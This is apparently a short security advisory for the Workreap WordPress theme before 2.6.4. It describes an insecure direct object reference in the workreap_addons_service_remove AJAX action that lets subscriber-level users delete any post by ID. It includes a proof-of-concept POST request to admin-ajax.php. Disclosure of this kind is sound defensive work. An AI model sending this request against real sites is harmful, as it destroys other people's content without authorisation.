Workreap < 2.6.4 - Subscriber+ Arbitrary Posts Deletion via IDOR

The theme does not verify that an addon service belongs to the user issuing the request, or indeed that it is an addon service, when processing the workreap_addons_service_remove action, allowing any user to delete any post by knowing or guessing the id.

PoC

POST /testt/wp-admin/admin-ajax.php HTTP/2 Host: host Cookie: [Subscriber+] Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 65 action=workreap_addons_service_remove&id;=6191&security;=295c6a26b2